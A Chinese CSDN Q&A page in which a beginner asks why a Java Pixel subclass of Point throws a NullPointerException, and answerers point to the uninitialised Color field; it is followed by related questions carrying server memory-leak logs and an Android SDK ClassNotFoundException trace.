java:Pixel类(Point的子类),表示屏幕上的像素

初学真是难guo
设计一个Pixel类(Point的子类),表示屏幕上的像素,为该类提供一个作为程序执行入口的main方法,测试整个application的正确性。

代码生成.class后,总是显示错误为
Exception in thread "main" java.lang.NullPointerException
at Pixel.main(Point.java:37)

class Point{
int width;
int length;
public void setpoint(int x,int y){
width=x;
length=y;}
public void clear(){
width=0;
length=0;}}

class Color{
int red,green,blue;
void bianse(){}
void bianse(int red,int green,int blue){
this.red=red;
this.green=green;
this.blue=blue;}
public void StringtoString(){
System.out.println("red="+red+"green="+green+";blue="+blue);
}}

class Pixel extends Point{
Color color;
public void clear(){
super.clear();//继承并延展
color=null;}
static public void main(String args[]){ //main
Pixel p1=new Pixel();
p1.clear();
p1.color.bianse(255,0,0);
p1.setpoint(3,3);
System.out.println(p1.width+"*"+p1.length);

p1.color.StringtoString(); }}

2个回答

class Pixel extends Point{
Color color;
public void clear(){
super.clear();//继承并延展
color=null;}
这里的 color 没有初始化,也没有构造函数,也没有被设置

p1.color.bianse(255,0,0);
这显然就是null错误了。

改法有很多,比如
public void clear(){
super.clear();//继承并延展
color=null;}
修改为
public void clear(){
super.clear();//继承并延展
color=new Color();}

caozhy
贵阳老马马善福专业维修游泳池堵漏防水工程 回复_reid: 问题解决请点下我回答下面的采纳
8 个月之前 回复
qq_43739564
_reid 谢谢!=null抄得书 我去看看
8 个月之前 回复

java的变量都是初始化为null的,不像c一样会初始化一个对象,所以java定义对象都要写new。你的程序在声明Pixel的私有变量时就可以写new。

class Pixel extends Point{
    Color color = new Color();

其次你的 color = null 语句很危险,因为后续没有对应的赋值语句,尽管你现在的代码用不到,但最好加上。

JonathanYan
JonathanYan 回复_reid: 最好写一个setColor的函数,把color设置到默认值。
8 个月之前 回复
JonathanYan
JonathanYan 回复_reid: 那就没啥问题,我说危险不是赋值null,而是你后面没有重新给他赋值新的变量
8 个月之前 回复
qq_43739564
_reid 谢谢~null是抄的书
8 个月之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
java内存溢出问题,不确定哪里出的问题

项目运行的时候出现了内存溢出情况,复现方式无法确定,大概出现了五六次,每次复现的方式都不一样,下面是我用MAT工具分析的dump文件 ![图片说明](https://img-ask.csdn.net/upload/202001/20/1579508231_612899.png) ![图片说明](https://img-ask.csdn.net/upload/202001/20/1579508244_502327.png) 除了hibernate里的那两个对象,其他的1000多万个对象里全是integer类型的对象 这是当时出现的时候产生的异常 ``` 2020-01-17 13:32:55 ERROR [DruidDataSource.java:2469] - create connection SQLException, url: jdbc:mysql://localhost:55060/mcs?useUnicode=true&characterEncoding=utf-8, errorCode 0, state 08S01 com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure The last packet successfully received from the server was 1 milliseconds ago. The last packet sent successfully to the server was 0 milliseconds ago. at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:526) at com.mysql.jdbc.Util.handleNewInstance(Util.java:425) at com.mysql.jdbc.SQLError.createCommunicationsException(SQLError.java:990) at com.mysql.jdbc.MysqlIO.reuseAndReadPacket(MysqlIO.java:3517) at com.mysql.jdbc.MysqlIO.reuseAndReadPacket(MysqlIO.java:3417) at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3860) at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:864) at com.mysql.jdbc.MysqlIO.proceedHandshakeWithPluggableAuthentication(MysqlIO.java:1707) at com.mysql.jdbc.MysqlIO.doHandshake(MysqlIO.java:1217) at com.mysql.jdbc.ConnectionImpl.coreConnect(ConnectionImpl.java:2189) at com.mysql.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:2220) at com.mysql.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:2015) at com.mysql.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:768) at com.mysql.jdbc.JDBC4Connection.<init>(JDBC4Connection.java:47) at sun.reflect.GeneratedConstructorAccessor118.newInstance(Unknown Source) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:526) at com.mysql.jdbc.Util.handleNewInstance(Util.java:425) at com.mysql.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:385) at com.mysql.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:323) at com.alibaba.druid.pool.DruidAbstractDataSource.createPhysicalConnection(DruidAbstractDataSource.java:1513) at com.alibaba.druid.pool.DruidAbstractDataSource.createPhysicalConnection(DruidAbstractDataSource.java:1578) at com.alibaba.druid.pool.DruidDataSource$CreateConnectionThread.run(DruidDataSource.java:2466) Caused by: java.io.EOFException: Can not read response from server. Expected to read 4 bytes, read 0 bytes before connection was unexpectedly lost. at com.mysql.jdbc.MysqlIO.readFully(MysqlIO.java:2969) at com.mysql.jdbc.MysqlIO.reuseAndReadPacket(MysqlIO.java:3427) ... 19 more 2020-01-17 13:33:03 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_preset_rlat failed: java.lang.OutOfMemoryError: GC overhead limit exceeded at net.sf.ehcache.util.MemoryEfficientByteArrayOutputStream.getBytes(MemoryEfficientByteArrayOutputStream.java:65) at net.sf.ehcache.util.MemoryEfficientByteArrayOutputStream.serialize(MemoryEfficientByteArrayOutputStream.java:99) at net.sf.ehcache.store.disk.DiskStorageFactory.serializeElement(DiskStorageFactory.java:405) at net.sf.ehcache.store.disk.DiskStorageFactory.write(DiskStorageFactory.java:384) at net.sf.ehcache.store.disk.DiskStorageFactory$DiskWriteTask.call(DiskStorageFactory.java:485) at net.sf.ehcache.store.disk.DiskStorageFactory$PersistentDiskWriteTask.call(DiskStorageFactory.java:1088) at net.sf.ehcache.store.disk.DiskStorageFactory$PersistentDiskWriteTask.call(DiskStorageFactory.java:1072) at java.util.concurrent.FutureTask.run(FutureTask.java:262) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:178) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:292) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) 2020-01-17 13:32:59 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:32:59 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:32:55 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:16 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:27 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-17 13:33:27 ERROR [SqlExceptionHelper.java:144] - wait millis 7401, active 16, maxActive 40, creating 1 2020-01-17 13:33:27 INFO [GetCWRCapHandler.java:114] - 解析录像服务器上报心跳协议过程中出现异常:org.springframework.transaction.CannotCreateTransactionException: Could not open JPA EntityManager for transaction; nested exception is javax.persistence.PersistenceException: org.hibernate.exception.GenericJDBCException: Could not open connection 2020-01-17 13:33:33 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:33 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:49 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:49 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:49 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:49 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:49 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:53 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:53 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:33:53 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:02 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-17 13:34:02 ERROR [SqlExceptionHelper.java:144] - wait millis 5503, active 18, maxActive 40, creating 1 2020-01-17 13:34:02 INFO [GetCWRCapHandler.java:114] - 解析录像服务器上报心跳协议过程中出现异常:org.springframework.transaction.CannotCreateTransactionException: Could not open JPA EntityManager for transaction; nested exception is javax.persistence.PersistenceException: org.hibernate.exception.GenericJDBCException: Could not open connection 2020-01-17 13:34:04 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:08 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:12 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:12 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:14 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:14 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:14 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:17 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-17 13:34:17 ERROR [SqlExceptionHelper.java:144] - wait millis 5485, active 19, maxActive 40, creating 1 2020-01-17 13:34:17 INFO [GetCWRCapHandler.java:114] - 解析录像服务器上报心跳协议过程中出现异常:org.springframework.orm.hibernate3.HibernateJdbcException: JDBC exception on Hibernate data access: SQLException for SQL [n/a]; SQL state [null]; error code [0]; Could not open connection; nested exception is org.hibernate.exception.GenericJDBCException: Could not open connection 2020-01-17 13:34:17 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:27 INFO [DeviceCache.java:249] - 设备状态及报警维护过程中出现异常 2020-01-17 13:34:35 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:35 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:42 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:42 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:44 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:44 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:34:52 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-17 13:34:52 ERROR [SqlExceptionHelper.java:144] - wait millis 7301, active 22, maxActive 40, creating 1 2020-01-17 13:34:52 INFO [GetCWRCapHandler.java:114] - 解析录像服务器上报心跳协议过程中出现异常:org.springframework.transaction.CannotCreateTransactionException: Could not open JPA EntityManager for transaction; nested exception is javax.persistence.PersistenceException: org.hibernate.exception.GenericJDBCException: Could not open connection 2020-01-17 13:34:53 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:35:05 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_roll_preset failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-17 13:35:18 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-17 13:35:18 ERROR [SqlExceptionHelper.java:144] - Error 2020-01-17 13:35:50 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-17 13:35:50 ERROR [SqlExceptionHelper.java:144] - Error 2020-01-17 13:36:13 WARN [SqlExceptionHelper.java:143] - SQL Error: 1205, SQLState: 40001 2020-01-17 13:36:13 ERROR [SqlExceptionHelper.java:144] - Lock wait timeout exceeded; try restarting transaction 2020-01-17 13:36:13 WARN [SqlExceptionHelper.java:143] - SQL Error: 1205, SQLState: 40001 2020-01-17 13:36:24 ERROR [SqlExceptionHelper.java:144] - Lock wait timeout exceeded; try restarting transaction 2020-01-17 13:36:13 WARN [SqlExceptionHelper.java:143] - SQL Error: 1205, SQLState: 40001 2020-01-17 13:37:01 ERROR [SqlExceptionHelper.java:144] - Lock wait timeout exceeded; try restarting transaction 2020-01-17 13:37:43 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-17 13:36:37 WARN [SqlExceptionHelper.java:143] - SQL Error: 1205, SQLState: 40001 2020-01-17 13:36:33 WARN [SqlExceptionHelper.java:143] - SQL Error: 1205, SQLState: 40001 2020-01-17 13:36:22 WARN [SqlExceptionHelper.java:143] - SQL Error: 1205, SQLState: 40001 ``` 现在就是无法确定到底哪里导致的内存溢出? 这个是上次出现的异常和代码 ``` 2020-01-13 13:21:44 WARN [SqlExceptionHelper.java:143] - SQL Error: 1205, SQLState: 40001 2020-01-13 13:21:44 ERROR [SqlExceptionHelper.java:144] - Lock wait timeout exceeded; try restarting transaction 2020-01-13 13:23:55 INFO [MQTTProtocolHandler.java:283] - 接收到设备接入协议:{"topic":"info/deviceBaseInfo/BHIP118-S/00:00:01:A6:00:A2","reportTime":"256573751","decodeCapacity":{"totalLevel":2,"totalBlock":36,"totalPixel":16588800},"outputList":[{"status":"start","ratio":"UHD","pixel":"3840*2160","type":"UDP","url":"udp://231.0.100.80:7001"},{"status":"start","ratio":"HD","pixel":"960*540","type":"UDP","url":"udp://231.0.101.80:7001"},{"status":"start","ratio":"SD","pixel":"352*288","type":"UDP","url":"udp://231.0.102.80:7001"},{"status":"stop","ratio":"UHD","pixel":"3840*2160","type":"RTMP","url":"rtmp://192.168.15.80:1935/live/100"},{"status":"stop","ratio":"HD","pixel":"960*540","type":"RTMP","url":"rtmp://192.168.15.124:1935/live/101"},{"status":"stop","ratio":"SD","pixel":"352*288","type":"RTMP","url":"rtmp://192.168.15.80:1935/live/102"}],"baseInfo":{"deviceType":"BHIP118-S","code":"00:00:01:A6:00:A2","version":"v1.0.0.11","ip":"192.168.16.80"},"online":true} 2020-01-13 13:23:59 INFO [DeviceCache.java:127] - 接收到新增/更新设备信息:00:00:01:A6:00:A2 :BaseInfo [type=0,name=BHIP118-S,ip=192.168.16.80,port=0,code=00:00:01:A6:00:A2,groupCode=null,groupIndex=0,online=true,multiCastTime=0,ver=v1.0.0.11,channel=0,reserve=0,lockStatus=null,workMode=null,videoPixerls=null,kvmMode=null,serialNumber=null,sdipPortInfo is null,hdIpPortInfo is null,audioIpPortInfo is null,outputList[SourceOutput [ratio=UHD, url=udp://231.0.100.80:7001, pixel=3840*2160, channel=0, SourceOutput [ratio=HD, url=udp://231.0.101.80:7001, pixel=960*540, channel=0, SourceOutput [ratio=SD, url=udp://231.0.102.80:7001, pixel=352*288, channel=0, SourceOutput [ratio=UHD, url=rtmp://192.168.15.80:1935/live/100, pixel=3840*2160, channel=0, SourceOutput [ratio=HD, url=rtmp://192.168.15.124:1935/live/101, pixel=960*540, channel=0, SourceOutput [ratio=SD, url=rtmp://192.168.15.80:1935/live/102, pixel=352*288, channel=0],callStatus=null] 2020-01-13 13:24:06 INFO [MultiCastDeviceInfoHandler.java:229] - 更新视频合成器设备信息: Device [id=ff8080816f694555016f6a4bf61e158c, code=00:00:01:A6:00:A2, name=192.168.16.80, ip=192.168.16.80, port=0, status=0, type=BHIP118, deviceType=BHIP118-S, stamp=2020-01-03 15:26:00, abilityInfo=null, netCardInfo=null] 2020-01-13 13:24:53 INFO [MultiCastDeviceInfoHandler.java:364] - 更新解码器信息:Decoder [IP=192.168.16.80, Port=0, Channel=0, totalBlocks=36, totalLevel=2, uRefWidth=1920, uRefHeight=1080, audioPort=0, totalPixel=16588800, deviceTypeName=BHIP118-S, pixelsWidth=null, pixelsHeight=null] 2020-01-13 13:25:17 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:25:17 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:25:17 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:25:19 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:25:28 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:25:42 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-13 13:25:42 ERROR [SqlExceptionHelper.java:144] - wait millis 14463, active 11, maxActive 40, creating 1 2020-01-13 13:25:46 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_playback_task failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:25:48 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-13 13:25:50 ERROR [SqlExceptionHelper.java:144] - wait millis 18056, active 11, maxActive 40, creating 1 2020-01-13 13:25:50 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_source_volume failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:25:51 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:25:51 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:25:51 INFO [GetCWRCapHandler.java:114] - 解析录像服务器上报心跳协议过程中出现异常:org.springframework.orm.hibernate3.HibernateJdbcException: JDBC exception on Hibernate data access: SQLException for SQL [n/a]; SQL state [null]; error code [0]; Could not open connection; nested exception is org.hibernate.exception.GenericJDBCException: Could not open connection 2020-01-13 13:25:51 INFO [GetCWRCapHandler.java:114] - 解析录像服务器上报心跳协议过程中出现异常:org.springframework.transaction.CannotCreateTransactionException: Could not open JPA EntityManager for transaction; nested exception is javax.persistence.PersistenceException: org.hibernate.exception.GenericJDBCException: Could not open connection 2020-01-13 13:25:58 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_kvm failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:25:56 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:25:56 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:03 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_video_terminal failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:05 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_pic_layer failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:05 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_template failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:05 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_multicast_address failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:08 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_mass_source failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:08 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_pic_encoder_block failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:08 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_ipc_preset_group failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:08 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:13 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_video_terminal failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:17 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_record_layer_block failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:24 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_video_meeting failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:28 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_audio_preset_rlat failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:28 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_preset failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:28 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_layer_block failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:28 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:32 WARN [SqlExceptionHelper.java:143] - SQL Error: 0, SQLState: null 2020-01-13 13:26:32 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:32 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:32 ERROR [DiskStorageFactory.java:495] - Disk Write of mcs_encoder failed: java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-01-13 13:26:52 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:27:07 ERROR [SqlExceptionHelper.java:144] - wait millis 20150, active 12, maxActive 40, creating 1 2020-01-13 13:26:50 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:46 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:46 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:41 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:41 ERROR [SqlExceptionHelper.java:144] - wait millis 23244, active 12, maxActive 40, creating 1 2020-01-13 13:26:41 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:26:41 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:30:29 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:30:25 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:30:07 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:30:07 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 2020-01-13 13:30:07 WARN [DruidDataSource.java:1258] - get connection timeout retry : 1 ``` 这个是组播上报的设备信息,因为组播是一秒钟上报了好几次,是不是这里一直占用着连接 ``` public void run() { try { ms = new MulticastSocket(multiCastPort);//建立组播套接字 ms.setReceiveBufferSize(65535); // ms.setNetworkInterface(NetworkInterface.getByInetAddress(localAddress)); ms.joinGroup(InetAddress.getByName(multiCastIP));//加入组播组 LogHome.getLog().info("正常启动监听" + localAddress.getHostAddress()); byte[] buffer = null; DatagramPacket dp = null; while (true) { try { if (IsStop) { break; } buffer = new byte[1400]; dp = new DatagramPacket(buffer, buffer.length); LogHome.getLog().debug("等待接受组播信息:"); ms.receive(dp); MultiCastInfoParser info = new MultiCastInfoParser(dp.getData()); DeviceCache.baseInfoOf1004Handler(info.parse()); } catch (Exception e) { if (IsStop) {// 如果换网卡可能会出问题 break; } else { if (ms.isClosed()) { ms = new MulticastSocket(multiCastPort); ms.setNetworkInterface(NetworkInterface.getByInetAddress(localAddress)); ms.joinGroup(InetAddress.getByName(multiCastIP)); } } LogHome.getLog().error("接受并设置组播信息失败",e); }finally{ Thread.sleep(1); } } } catch (Exception e) { e.printStackTrace(); try { if (listenerList.containsKey(localAddress.getHostAddress())) { listenerList.remove(localAddress.getHostAddress()); } } catch (Exception ex) { LogHome.getLog().error(ex); } } ```

java.lang.ClassNotFoundException: com.android.id.impl.IdProviderImpl

巨量引擎SDK接入报错java.lang.ClassNotFoundException: com.android.id.impl.IdProviderImpl 求救,非常感谢! ``` 05/15 16:49:59: Launching 'app' on Pixel 2 API 28. $ adb shell am start -n "com.cn.leaf.demo/com.cn.leaf.demo.MainActivity" -a android.intent.action.MAIN -c android.intent.category.LAUNCHER Connected to process 6411 on device 'Pixel_2_API_28 [emulator-5554]'. Capturing and displaying logcat messages from application. This behavior can be disabled in the "Logcat output" section of the "Debugger" settings page. I/MultiDex: VM with version 2.1.0 has multidex support Installing application VM has multidex support, MultiDex support library is disabled. W/om.cn.leaf.dem: Accessing hidden method Landroid/graphics/drawable/Drawable;->getOpticalInsets()Landroid/graphics/Insets; (light greylist, linking) Accessing hidden field Landroid/graphics/Insets;->left:I (light greylist, linking) Accessing hidden field Landroid/graphics/Insets;->right:I (light greylist, linking) Accessing hidden field Landroid/graphics/Insets;->top:I (light greylist, linking) Accessing hidden field Landroid/graphics/Insets;->bottom:I (light greylist, linking) W/om.cn.leaf.dem: Accessing hidden method Landroid/view/View;->computeFitSystemWindows(Landroid/graphics/Rect;Landroid/graphics/Rect;)Z (light greylist, reflection) W/om.cn.leaf.dem: Accessing hidden method Landroid/view/ViewGroup;->makeOptionalFitsSystemWindows()V (light greylist, reflection) W/om.cn.leaf.dem: Accessing hidden method Landroid/widget/TextView;->getTextDirectionHeuristic()Landroid/text/TextDirectionHeuristic; (light greylist, linking) D/TrackerDr: f#init: D/TrackerDr: i#init: E/i#IdentifierManager: reflect exception! java.lang.ClassNotFoundException: com.android.id.impl.IdProviderImpl at java.lang.Class.classForName(Native Method) at java.lang.Class.forName(Class.java:453) at java.lang.Class.forName(Class.java:378) at com.bytedance.a.i$a.<clinit>(SourceFile:195) at com.bytedance.a.i$a.a(SourceFile:185) at com.bytedance.a.i.a(SourceFile:106) at com.bytedance.a.i.<init>(SourceFile:49) at com.bytedance.a.i.b(SourceFile:41) at com.bytedance.a.i.a(SourceFile:34) at com.bytedance.a.g.a(SourceFile:46) at com.bytedance.a.b.a(SourceFile:33) at com.bytedance.applog.b.i.<init>(SourceFile:67) at com.bytedance.applog.AppLog.init(SourceFile:106) at com.cn.leaf.demo.MainActivity.initConfig(MainActivity.java:133) at com.cn.leaf.demo.MainActivity.PerMissions(MainActivity.java:186) at com.cn.leaf.demo.MainActivity.judgeBrand(MainActivity.java:265) at com.cn.leaf.demo.MainActivity.onCreate(MainActivity.java:56) at android.app.Activity.performCreate(Activity.java:7136) at android.app.Activity.performCreate(Activity.java:7127) at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1271) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2893) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3048) at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:78) at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:108) at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:68) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1808) at android.os.Handler.dispatchMessage(Handler.java:106) at android.os.Looper.loop(Looper.java:193) at android.app.ActivityThread.main(ActivityThread.java:6669) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:858) Caused by: java.lang.ClassNotFoundException: Didn't find class "com.android.id.impl.IdProviderImpl" on path: DexPathList[[zip file "/data/app/com.cn.leaf.demo-XfKMKxO94jFGo_lzV_gX6A==/base.apk"],nativeLibraryDirectories=[/data/app/com.cn.leaf.demo-XfKMKxO94jFGo_lzV_gX6A==/lib/x86, /data/app/com.cn.leaf.demo-XfKMKxO94jFGo_lzV_gX6A==/base.apk!/lib/x86, /system/lib]] at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:134) at java.lang.ClassLoader.loadClass(ClassLoader.java:379) at java.lang.ClassLoader.loadClass(ClassLoader.java:312) at java.lang.Class.classForName(Native Method)  at java.lang.Class.forName(Class.java:453)  at java.lang.Class.forName(Class.java:378)  at com.bytedance.a.i$a.<clinit>(SourceFile:195)  at com.bytedance.a.i$a.a(SourceFile:185)  at com.bytedance.a.i.a(SourceFile:106)  at com.bytedance.a.i.<init>(SourceFile:49)  at com.bytedance.a.i.b(SourceFile:41)  at com.bytedance.a.i.a(SourceFile:34)  at com.bytedance.a.g.a(SourceFile:46)  at com.bytedance.a.b.a(SourceFile:33)  at com.bytedance.applog.b.i.<init>(SourceFile:67)  at com.bytedance.applog.AppLog.init(SourceFile:106)  at com.cn.leaf.demo.MainActivity.initConfig(MainActivity.java:133)  at com.cn.leaf.demo.MainActivity.PerMissions(MainActivity.java:186)  at com.cn.leaf.demo.MainActivity.judgeBrand(MainActivity.java:265)  at com.cn.leaf.demo.MainActivity.onCreate(MainActivity.java:56)  at android.app.Activity.performCreate(Activity.java:7136)  at android.app.Activity.performCreate(Activity.java:7127)  at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1271)  at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2893)  at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3048)  at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:78)  at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:108)  at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:68)  at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1808)  at android.os.Handler.dispatchMessage(Handler.java:106)  at android.os.Looper.loop(Looper.java:193)  at android.app.ActivityThread.main(ActivityThread.java:6669)  at java.lang.reflect.Method.invoke(Native Method)  at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:858)  ```

Java 运行时异常,java.lang.NullPointerException

